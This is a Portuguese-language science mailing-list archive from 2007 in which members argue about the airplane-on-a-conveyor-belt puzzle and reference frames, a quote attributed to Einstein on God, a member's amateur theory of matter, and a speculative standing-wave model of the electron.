exemplo e professar a verdade aos seus alunos. A esteira é o chão-móvel no
problema, por isso chamo de chão-esteira. Vc sabe disso, mas tenta enganar
os menos atentos com suas manobras diversionistas. Isso pode dar certo em
classes de alunos de nível médio, não aqui.

Dou-lhe mais um exemplo prático de "chão" móvel. O rio Amazonas afunila em
uma largura de pouco mais de um quilômetro próximo à cidade de Óbidos, em um

estreito que leva o nome da cidade. Em relação às margens e o solo os barcos

navegam velozes rio-abaixo, mas levam horas para vencer a velocidade da
correnteza quando se deslocam rio-acima. Em relação ao chão-rio os barcos
que sobem o rio nessa correnteza estão em alta velocidade, mas se movimentam

com baixa velocidade com relação às margens do rio. Isso ocorre, porque o
rio carrega o barco em sentido contrário, de um jeito semelhante ao da
esteira movimentando o avião em sentido contrário ao de empuxo e decolagem.

Que vc é espirituoso acredito que todos já sabem, está na hora de mostrar
que vc também é inteligente e honesto, que pratica e realiza o que orienta e

aconselha aos outros. Isto é, faz o que diz.

Abraços

José Renato

................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 1:31 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Grande José Renato!

Que bom reencontrar suas mensagens sobre o avião que não voa. Vamos
lá, primeiro resumindo o que você diz (e está mantido abaixo, na sua
mensagem original, caso duvide de si mesmo, he he).

A minha pergunta era: qual é o referencial que você está usando, meu
caro José Renato?

Eis suas respostas:

"> JR - Veja se memoriza a resposta: no problema da esteira e o avião
*o referencial é a esteira*. Está claro?"

"> JR - Vc está muito esquecido! O referencial que uso é o
chão-esteira onde o avião está pousado. Não deixa de ser o "chão", só
que está em movimento."

"> JR - Entre todas essa opções que vc concede, devo reafirmar *mais
uma vez* que é o chão-esteira."

Pelo que entendi você parece não saber muito bem qual é o seu
referencial, é isso? :)))

Primeiro você diz que é a esteira e ainda me pergunta se está claro,
depois você diz que é o chão-esteira (o que será isso???) e enfatiza
que "não deixa de ser o chão", só que este está em movimento (???) e,
por último, conclui dizendo que é o chão-esteira! :)))

Francamente, José Renato, como é possível algo "estar claro" diante da
sua confusão mental? :)

Vamos, reconheça, nem você sabe do que você estava falando quando
começou essa confusão. :)))

E aí, vai se decidir se é o chão, o chão móvel (??? essa doeu!), a
esteira ou o chão-esteira? Aliás, que referencial é esse
"chão-esteira"? :)))

Cara, você é mesmo uma piada!!!

To adorando!

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, professor José Carlos!
> Suas inúmeras digressões e a repetitiva pergunta de qual é o
referencial que
> estou usando, já respondida diversas vezes, dá impressão de que vc está
> querendo tirar o foco do problema e tentar disfarçar suas
dificuldades de
> pensar movimentos. Veja se memoriza a resposta: no problema da
esteira e o
> avião *o referencial é a esteira*. Está claro? Faço outros
comentários após
> seu texto abaixo, após JR - .
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, May 05, 2007 3:19 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> José Renato,
>
> Primeiro permita-me uma gargalhada: ha ha ha. Pronto!
> Você nem imagina como suas mensagens têm me proporcionado momentos de
> alegria e descontração.
> JR - É uma boa gargalhar. Vc já descobriu por que ri do que escrevo?

(apaguei o restante)



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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 00:13

Olá, Homero! Tenha calma, pense e apresente seus comentários,
mas não perca a compostura. Faço comentários no texto abaixo,
após JR -, OK?
...........................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 12:51 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


PQP..:-)
JR - É importante manter o controle...

Me desculpem a expressão, mas é a única que pode exprimir corretamente
meu espanto..:-)
JR - Pensei que vc tinha desistido...

Quanto penso que alguém vai conseguir finalmente explicar o erro a
você, Renato, tenho de ler, de novo, outro exemplo sem sentido, onde
seu engano é novamente repetido:
JR - Não é não, Homero! No exemplo fica claro - para quem avalia - a relação
entre o móvel-motocicleta e o chão-globo que se desloca sob elas. Em geral,
o espetáculo é feito com a estrutura do globo fixa, sem movimento de rotação
que eu inseri no exemplo para torná-lo semelhante ao do problema
esteira-avião.

Renato: "Vc já viu o espetáculo circense chamado de Globo da Morte,
onde motociclistas se movimentam simultaneamente dentro de uma
estrutura esférica? Pense uma estrutura dessas girando em seu eixo
fixo ao chão, e um motociclista se deslocando na linha do "equador" na
mesma velocidade angular, mas em sentido contrário. Ele consegue fazer
isso? Qual é o referencial?"

Quosque tandem abutere patienta nostra, Renato?..:-) Seu exemplo é um
"exemplo" CLARO de seu erro, pois se baseia no "senso comum" a
respeito de movimento! SE são motos movidas pela tração nas rodas, é
uma coisa, se são motos MOVIDAS POR HÉLICES OU JATOS, é outra!!!
JR - Não são, não, Homero! Até o avião se separar da pista, ele roda como um
carro ou moto movidos a turbinas.

Colocando de forma mais clara, motos que se movem por jatos de ar
PODEM FAZER ISSO sem problemas, da mesma forma como um avião pode
decolar da esteira! Mesmo com a estrutura girando em seu eixo fixo, as
motos SE MOVEM E GIRAM SEM CAIR, já que as rodas não são responsáveis
pela tração, mas apenas isolam as mesmas da estrutura!! Como no avião
e esteira, motos com jatos apenas farão as rodas girarem mais rápido,
se a estrutura girar ao contrário de seu deslocamento, que se esta
estivesse parada!
JR - Ficou muito confusa sua explicação... Mas se as rodas que estão em
contato com a estrutura do globo giram mais rápido quando essa estrutura
gira, significa que não está mais na mesma velocidade de antes quando o
globo estava parado. Logo, não está atendendo o enunciado do problema...

Se pelo menos parasse de teimar e pensasse um pouco no problema, sem
deixar seu "ego" gigantesco engana-lo, dizendo que você tem uma
resposta que NINGUÉM mais descobriu..:-)
JR - Leia esse parágrafo acima para vc mesmo e veja se bate alguma luz...

Pense, Renato, pense: se conseguir imaginar as motos ligando seus
"jatos", o que acontece com a estrutura depois disso é IRRELEVANTE!
JR - Não é não, Homero! No exemplo do globo da morte as motocicletas a jato
sofrerão um retardo em seus movimentos em relação ao chão-solo, visto que a
estrutura - onde elas estão apoiadas e se deslocando - roda em sentido
contrário, subtraindo velocidade nesse sentido.

Que canseira..:-) E, mais uma vez peço desculpas, mas, PQP!!!..:-)
JR - Descanse e depois tente raciocinar sobre a questão.

Homero

[]s
José Renato



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 00:22

Se Einstein gritava não sei. Tenho entretanto registro no livro Como penso o
mundo em que ele rejeita um deus pessoal e antropomórfico, e professa
Deus-Criador como um ente cósmico que se revela ao ser humano de muitas
formas.
[]s
JR
............................................
----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 10:12 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Vitor:

Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
Sobre deus, não entro no mérito.

bom dia,

silvio.
3
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 9:53 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Olá,

Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.

----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação,
no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam
como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza
e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como
o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que
podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior,
que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]






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SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 00:34

Olá José Renato,

Probleminhas de correnteza de rios nunca foram resolvidos usando-se um
sistema de referência chão-rio, mas é claro que se você tiver um
contra-exemplo eu ficaria feliz em conhecê-lo, obviamente DEPOIS que
você se decidir pelo referencial do aviãozinho que você vem enrolando
há dezenas de mensagem mas ainda não definiu. E olha que você disse
que era tudo tão fácil! :)

Só para que você mesmo não se esqueça. O probleminha que você queria
resolver dizia que o avião move-se para um lado com velocidade v (em
relação a quem?) e a esteira no sentido oposto com velocidade -v (em
relação a quem?) e você disse que era tolice e intelectualmente pobre
admitir que o referencial de que trata o problema era o chão.

Então, meu amigo intelectualmente rico, o que significa dizer que a
esteira move-se com velocidade -v em relação ao chão-esteira? :)

E o que significa dizer que o avião se move com velocidade v em
relação ao chão-esteira? :)

Qual a velocidade do chão em relação ao chão-esteira? :)

Qual a velocidade da esteira em relação ao chão-esteira? :)

Onde fica o chão-esteira? No chão, na esteira ou em outro lugar? :)

Não, José Renato, você não vai sair impune dessa. :)))

AGUARDAMOS, todos nós, intelectualmente pobres, que você nos responda
as perguntas acima. Enquanto isso... Deixe os rios correrem em paz. :)

Ah, veja que se você não se decidir logo pelos eu referencial pode ser
que o avião enferruge, que a esteira engripe e que o espaço de
mensagens da C-List se acabe. :)))

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, professor José Carlos! Parece-me que vc se habituou em ser
"esperto".
>
> Em vez de apresentar de forma clara e definitiva onde está meu erro de
> interpretação, vc esquece o problema e passa a tergiversar sobre o
vocábulo
> "chão". Isso não é recomendável para quem tem a responsabilidade de ser
> exemplo e professar a verdade aos seus alunos. A esteira é o
chão-móvel no
> problema, por isso chamo de chão-esteira. Vc sabe disso, mas tenta
enganar
> os menos atentos com suas manobras diversionistas. Isso pode dar
certo em
> classes de alunos de nível médio, não aqui.
>
> Dou-lhe mais um exemplo prático de "chão" móvel. O rio Amazonas
afunila em
> uma largura de pouco mais de um quilômetro próximo à cidade de
Óbidos, em um
> estreito que leva o nome da cidade. Em relação às margens e o solo
os barcos
> navegam velozes rio-abaixo, mas levam horas para vencer a velocidade da
> correnteza quando se deslocam rio-acima. Em relação ao chão-rio os
barcos
> que sobem o rio nessa correnteza estão em alta velocidade, mas se
movimentam
> com baixa velocidade com relação às margens do rio. Isso ocorre,
porque o
> rio carrega o barco em sentido contrário, de um jeito semelhante ao da
> esteira movimentando o avião em sentido contrário ao de empuxo e
decolagem.
>
> Que vc é espirituoso acredito que todos já sabem, está na hora de
mostrar
> que vc também é inteligente e honesto, que pratica e realiza o que
orienta e
> aconselha aos outros. Isto é, faz o que diz.
>
> Abraços
>
> José Renato
>
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 07, 2007 1:31 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Grande José Renato!
>
> Que bom reencontrar suas mensagens sobre o avião que não voa. Vamos
> lá, primeiro resumindo o que você diz (e está mantido abaixo, na sua
> mensagem original, caso duvide de si mesmo, he he).
>
> A minha pergunta era: qual é o referencial que você está usando, meu
> caro José Renato?
>
> Eis suas respostas:
>
> "> JR - Veja se memoriza a resposta: no problema da esteira e o avião
> *o referencial é a esteira*. Está claro?"
>
> "> JR - Vc está muito esquecido! O referencial que uso é o
> chão-esteira onde o avião está pousado. Não deixa de ser o "chão", só
> que está em movimento."
>
> "> JR - Entre todas essa opções que vc concede, devo reafirmar *mais
> uma vez* que é o chão-esteira."
>
> Pelo que entendi você parece não saber muito bem qual é o seu
> referencial, é isso? :)))
>
> Primeiro você diz que é a esteira e ainda me pergunta se está claro,
> depois você diz que é o chão-esteira (o que será isso???) e enfatiza
> que "não deixa de ser o chão", só que este está em movimento (???) e,
> por último, conclui dizendo que é o chão-esteira! :)))
>
> Francamente, José Renato, como é possível algo "estar claro" diante da
> sua confusão mental? :)
>
> Vamos, reconheça, nem você sabe do que você estava falando quando
> começou essa confusão. :)))
>
> E aí, vai se decidir se é o chão, o chão móvel (??? essa doeu!), a
> esteira ou o chão-esteira? Aliás, que referencial é esse
> "chão-esteira"? :)))
>
> Cara, você é mesmo uma piada!!!
>
> To adorando!
>
> Abraços,
> JC
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Caro, professor José Carlos!
> > Suas inúmeras digressões e a repetitiva pergunta de qual é o
> referencial que
> > estou usando, já respondida diversas vezes, dá impressão de que vc
está
> > querendo tirar o foco do problema e tentar disfarçar suas
> dificuldades de
> > pensar movimentos. Veja se memoriza a resposta: no problema da
> esteira e o
> > avião *o referencial é a esteira*. Está claro? Faço outros
> comentários após
> > seu texto abaixo, após JR - .
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, May 05, 2007 3:19 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > José Renato,
> >
> > Primeiro permita-me uma gargalhada: ha ha ha. Pronto!
> > Você nem imagina como suas mensagens têm me proporcionado momentos de
> > alegria e descontração.
> > JR - É uma boa gargalhar. Vc já descobriu por que ri do que escrevo?
>
> (apaguei o restante)
>




SUBJECT: RES: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 00:45

Valeu Ricardo, mas é claro que ele "sabe" disso. :)

O único problema que resta ao José Renato é, no entanto, o mais
trágico de todos os problemas que ele sabe que terá que enfrentar: em
um dado momento ele terá que concordar que o enunciado se refere ao
chão, que nesse referencial o avião se moverá para um lado (como o
enunciado diz, aliás), que a esteira se moverá no sentido oposto com a
mesma velocidade que o avião e em relação ao chão (como o enunciado
também diz), e que isso apenas só fará com que as rodas do avião girem
duas vezes mais rápido do que girariam se a esteira fosse imóvel, mas
que em nada interferirão na decolagem do avião.

Agora, esperar que o José Rentao, que nos chamou de tolos porque lhes
dissemos que o referencial só podia ser o chão, que disse que nós não
somos criativos por não sermos capazes de imaginar que em um mesmo
problema o avião decola e não decola (coisa que já provei ser
impossível até mesmo usando a lógica aristotélica) e que tem
desesperadamente tentado achar uma saída onde ele não tenha que dizer:
"puxa, é mesmo, eu me enganei"... Ah, esperar isso dele é demais. :)

Ele vai ceder sim, mas de outra forma, sem admitir que disse uma
bobagemzinha e que para tentar sustentá-la teve que dizer milhares de
outras. Tem sido assim, ad seculum seculorium (ou algo parecido).

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...> escreveu
>
> José Renato,
>
> O professor José Carlos havia comentado em e-mails anteriores que é
> necessário ter um referencial para o problema, seja ele qual for o
escolhido
> (e você havia concordado, é claro). Isso é básico, sem dúvida, e nem
> precisava ser dito.
>
> Mas ele também havia mostrado que não faz nenhum sentido a esteira ser o
> referencial. Relembrando, o enunciado afirma que:
>
> "(...) O avião se move em uma direção, e a esteira na
> direção oposta. A esteira tem um sistema de controle que acompanha a
> velocidade do avião e faz com que a esteira tenha exatamente a mesma
> velocidade dele, na direção oposta. A pergunta é: o avião vai
> conseguir decolar?"
>
> Se o referencial estiver na esteira, ela não se move. Aliás, o enunciado
> também estaria errado/sem sentido se o referencial estivesse no
avião, pois
> o avião não poderia se mover, ou ter velocidade.
>
> O referencial, para o que o problema chama de velocidades da esteira
e do
> avião, poderia estar onde você quiser (chão, torre eifel, cratera da
Lua,
> etc), sem problema nenhum, mas, repito, tornaria inválido o enunciado se
> estivesse na esteira ou no avião.
>
>
> OK?
>
> Um abraço,
>
> Ricardo
>
>
>
>
> -----Mensagem original-----
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de José Renato
> Enviada em: quarta-feira, 9 de maio de 2007 23:45
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo
> nada
>
> Caro, professor José Carlos! Parece-me que vc se habituou em ser
"esperto".
>
> Em vez de apresentar de forma clara e definitiva onde está meu erro de
> interpretação, vc esquece o problema e passa a tergiversar sobre o
vocábulo
> "chão". Isso não é recomendável para quem tem a responsabilidade de ser
> exemplo e professar a verdade aos seus alunos. A esteira é o
chão-móvel no
> problema, por isso chamo de chão-esteira. Vc sabe disso, mas tenta
enganar
> os menos atentos com suas manobras diversionistas. Isso pode dar
certo em
> classes de alunos de nível médio, não aqui.
>
> Dou-lhe mais um exemplo prático de "chão" móvel. O rio Amazonas
afunila em
> uma largura de pouco mais de um quilômetro próximo à cidade de
Óbidos, em um
>
> estreito que leva o nome da cidade. Em relação às margens e o solo
os barcos
>
> navegam velozes rio-abaixo, mas levam horas para vencer a velocidade da
> correnteza quando se deslocam rio-acima. Em relação ao chão-rio os
barcos
> que sobem o rio nessa correnteza estão em alta velocidade, mas se
movimentam
>
> com baixa velocidade com relação às margens do rio. Isso ocorre,
porque o
> rio carrega o barco em sentido contrário, de um jeito semelhante ao da
> esteira movimentando o avião em sentido contrário ao de empuxo e
decolagem.
>
> Que vc é espirituoso acredito que todos já sabem, está na hora de
mostrar
> que vc também é inteligente e honesto, que pratica e realiza o que
orienta e
>
> aconselha aos outros. Isto é, faz o que diz.
>
> Abraços
>
> José Renato
>
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 07, 2007 1:31 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Grande José Renato!
>
> Que bom reencontrar suas mensagens sobre o avião que não voa. Vamos
> lá, primeiro resumindo o que você diz (e está mantido abaixo, na sua
> mensagem original, caso duvide de si mesmo, he he).
>
> A minha pergunta era: qual é o referencial que você está usando, meu
> caro José Renato?
>
> Eis suas respostas:
>
> "> JR - Veja se memoriza a resposta: no problema da esteira e o avião
> *o referencial é a esteira*. Está claro?"
>
> "> JR - Vc está muito esquecido! O referencial que uso é o
> chão-esteira onde o avião está pousado. Não deixa de ser o "chão", só
> que está em movimento."
>
> "> JR - Entre todas essa opções que vc concede, devo reafirmar *mais
> uma vez* que é o chão-esteira."
>
> Pelo que entendi você parece não saber muito bem qual é o seu
> referencial, é isso? :)))
>
> Primeiro você diz que é a esteira e ainda me pergunta se está claro,
> depois você diz que é o chão-esteira (o que será isso???) e enfatiza
> que "não deixa de ser o chão", só que este está em movimento (???) e,
> por último, conclui dizendo que é o chão-esteira! :)))
>
> Francamente, José Renato, como é possível algo "estar claro" diante da
> sua confusão mental? :)
>
> Vamos, reconheça, nem você sabe do que você estava falando quando
> começou essa confusão. :)))
>
> E aí, vai se decidir se é o chão, o chão móvel (??? essa doeu!), a
> esteira ou o chão-esteira? Aliás, que referencial é esse
> "chão-esteira"? :)))
>
> Cara, você é mesmo uma piada!!!
>
> To adorando!
>
> Abraços,
> JC
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Caro, professor José Carlos!
> > Suas inúmeras digressões e a repetitiva pergunta de qual é o
> referencial que
> > estou usando, já respondida diversas vezes, dá impressão de que vc
está
> > querendo tirar o foco do problema e tentar disfarçar suas
> dificuldades de
> > pensar movimentos. Veja se memoriza a resposta: no problema da
> esteira e o
> > avião *o referencial é a esteira*. Está claro? Faço outros
> comentários após
> > seu texto abaixo, após JR - .
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, May 05, 2007 3:19 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > José Renato,
> >
> > Primeiro permita-me uma gargalhada: ha ha ha. Pronto!
> > Você nem imagina como suas mensagens têm me proporcionado momentos de
> > alegria e descontração.
> > JR - É uma boa gargalhar. Vc já descobriu por que ri do que escrevo?
>
> (apaguei o restante)
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SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 08:40

Olá Esteban!

Esteban >>> Ferrari, queima, queima... ;-)) Parabéns,
cara! E olha que eu também acho que você escreve muita
besteira. ;-))

--- Esteban, como a postura de uma autoridade é dizer
o que é "certo", logo o que escrevo só pode ser
considerado "errado" ou besteira. Sou o bobo da corte,
sei disto. E isto me dá uma vantagem e uma
desvantagem. A vantagem é que posso ser honesto,
pensar por mim mesmo, e falar o que penso, sem
precisar ficar fingindo pra corte. Ou seja, posso
dizer que o rei está nu. A desvantagem é que mesmo que
o rei esteja realmente nu, mesmo que eu esteja falando
a verdade, os fingidores da corte tem sempre que
fingir não faz sentido, que o rei está de roupa, senão
eles serão considerados bobos como eu. Você, por
exemplo, já esta se arriscando demais.

Enfim, mais constante do que a velocidade da luz
parece ser esta bobeira humana de autoridade, de luta
pelo poder. Sobre Eintein, deus e a bobeira da
autoridade, me recordo de uma citação dele assim: "por
desprezar tanto a autoridade, deus me transformou em
uma". Quem sabe um dia o bobo da corte vira
autoridade? Também a desprezo profundamente.




sinceramente
ferrari









--- Esteban Moreno <estebanlmoreno@gmail.com>
escreveu:

> O exagero é porque intimamente sabemos que o defunto
> Ferrari não vai
> morrer, jaz vivo e pode ter infinitos nomes.
> Intimamente não há como
> matá-lo, não há porque matá-lo. O que ele escreveu
> não é absurdo, a
> sensação do óbvio paira por muitas ou quase a
> totalidade das grandes
> descobertas científicas. O próprio Einstein dizia
> que a idéia da
> relativização do tempo e espaço, uma das idéias mais
> revolucionárias
> de nosso tempo, parecia-lhe a uma certa altura tão
> obvia que se
> assustava por ninguém ter pensado nisso antes (o que
> não era bem
> verdade). A questão é que para se perceber o óbvio,
> frequentemente é
> necesssário muuuito conhecimento, e isso certamente
> não é tão óbvio.
> Mas é somente este lado que se aponta. No fundo, se
> a história da maça
> é verdadeira ou não é o que menos importa, legal
> mesmo é malhar o
> nosso judas. Vai Ferrari, queima, queima... ;-))
> Parabéns, cara! E
> olha que eu também acho que você escreve muita
> besteira. ;-))
> Abraços,
> Esteban.
>
>
>
> >> ===========================
> > -----Mensagem Original-----
> > De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
> > Para: <ciencialist@yahoogrupos.com.br>
> > Enviada em: terça-feira, 8 de maio de 2007 20:19
> > Assunto: [ciencialist] Re: O Que é Fazer Ciencia?
> ::: (artigo sobre o método cientifico e o tempo)
> >
> >
> > Essa mensagem do Takata, transcrita abaixo, me fez
> lembrar um filme
> > do francês Jean Paul Belmondo, "O Magnífico". Em
> uma das cenas, o
> > protagonista - um policial - trucida um inimigo,
> primeiro
> > descarregando nele todas as trezentas balas de uma
> metralhadora;
> > depois, todo o pente de uma pistola; sem se
> contentar, ainda craveja
> > no defuntíssimo 80 punhaladas; ainda muito puto,
> mete uma granada na
> > boca do cadáver já quase em forma de
> papa-de-aveia; e, por último,
> > sadicamente, ainda lhe tasca uma dezena de chutes.
> >
> > Pra que tudo isso? Sejamos racionais!:-)
> >
> > Abraços,
> > Manuel Bulcão
> >
> > --- Em ciencialist@yahoogrupos.com.br, "rmtakata"
> > <roberto.takata@...> escreveu
> >
> > > Coisas q a teoria da matéria de Ferrari precisa
> fazer para
> > demonstrar
> > > q é tão boa qto a teoria atual:
> > >
> > > - Prever o espectro de emissão do átomo de
> hidrogênio;
> > > - Prever a relação entre o momento da partícula
> e o comprimento da
> > > onda de deBroglie;
> > > - Prever a relação entre carga elétrica,
> distância de separação das
> > > cargas e a intensidade da interação entre as
> cargas;
> > > - Prever a relação entre massa dos corpos,
> distância entre os
> > corpos e
> > > a intensidade de interação entre eles;
> > > - Prever a intensidade de interação entre os
> quarks e a
> > probabilidade
> > > de decaimento do núcleo de um dado elemento;
> > > - Prever o grau de desvio de um feixe luminoso
> ao passar em certo
> > > ângulo por um campo gravitacional de certa
> intensidade originado por
> > > um corpo puntiforme e a uma dada distância;
> > > - Prever a velocidade de transmissão de dados
> por cabos elétricos e
> > de
> > > fibra óptica e a razão sinal/ruído dado um certo
> grau de compressão
> > e
> > > saturação da via;
> > > - Prever o resultado da inequação de Bell dadas
> duas grandezas
> > conjugadas;
> > > - Prever a geometria do espaço-tempo dada uma
> densidade de
> > > matéria-energia;
> > >
> > > Coisas q a teoria de Ferrari precisa fazer para
> demonstrar q é
> > melhor
> > > do q a atual (supondo q consiga demonstrar antes
> q é tão boa qto):
> > > - Prever as massas das partículas fundamentais;
> > > - Prever os valores de carga elétrica e cor das
> partículas;
> > > - Prever as condições de unificação das
> interações fundamentais.
> > >
> > > []s,
> > >
> > > Roberto Takata
> > >
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SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 09:33

Olá Alvaro!

Alvaro >>> Qual o problema? Bem, o problema é que você
está em uma lista de ciências, não em uma lista de
artes ou de PNL!

--- Alvaro, sei disto. Poxa, olha o nome do artigo "O
que é fazer ciencia?", não é "Newton e a gravitação".
Os cara que vc citou usaram a mesma história com
enfoques diferentes do meu. Mas nem por isto o meu
artigo deixou de ter um enfoque cientifico. Me foquei
no método e eles na gravitação. Se vc acha que não
falei sobre o método cientifico e o raciocinio, ai
sim, me diga porque e podemos debater a respeito.


sinceramente
ferrari






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SUBJECT: Re: [ciencialist] T.O.M.; era [ E=m.c2 ]
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: "CienciaList" <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 10:32

Esse experimento prático é bastante interessante, prof Luiz. Ele instiga bem o entendimento do modelo proposto por Bohr, apesar das limitações.

Tb é bastante útil no entendimento do elétron como uma onda estacionária circular. Acho que vc conseguiu lançar uma luz mais racional sobre esta questão.

No caso do elétron, ele seria uma onda estacionária esférica que lembraria mais uma cebola com suas camadas concêntricas movendo-se do centro para a periferia e de volta para o centro continuamente... Essa observação é importante pq explica, entre outras coisas, a existência da energia gravitacional sob o ponto de vista da TOM.

Na analogia que vc fez, tanto a onda quanto o 'aro' devem ser da mesma natureza, ou seja, ondas eletromagnéticas. Será que haveria reflexão ou colisão com superposição de ondas? Ou será que a reflexão ou colisão dependeriam da energia já existente no 'aro'?

Ainda não estudei nenhuma situação de colisões entre ondas com números de dimensões diferentes. Talvez esteja aí a solução matemática da questão. Precisarei verificar antes de continuarmos...

Até a qualquer momento, prof.

Abrs,

Eduardo Sardeiro



----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 5:20 PM
Subject: Re: [ciencialist] T.O.M.; era [ E=m.c2 ]


Oi Eduardo,

se associarmos ao elétron uma 'fita material' (um anel) eu enxergo como podemos ter ondas estacionárias 'sem reflexão'. Veja nesse link meu modelo disso:
http://www.feiradeciencias.com.br/sala10/10_50.asp que foi usado pela Comciencia em:
www.comciencia.br/reportagens/fisica/fisica07.htm .

Preparei esse experimento para o elétron em órbita mas, pensando bem pode ser aplicado ao próprio elétron, imaginando-o como sendo uma 'aro flexível material'.
Nessa hipótese, enxergo tb a possibilidade da 'reflexão' de uma onda ao chocar-se com tal 'aro'.

que diz?

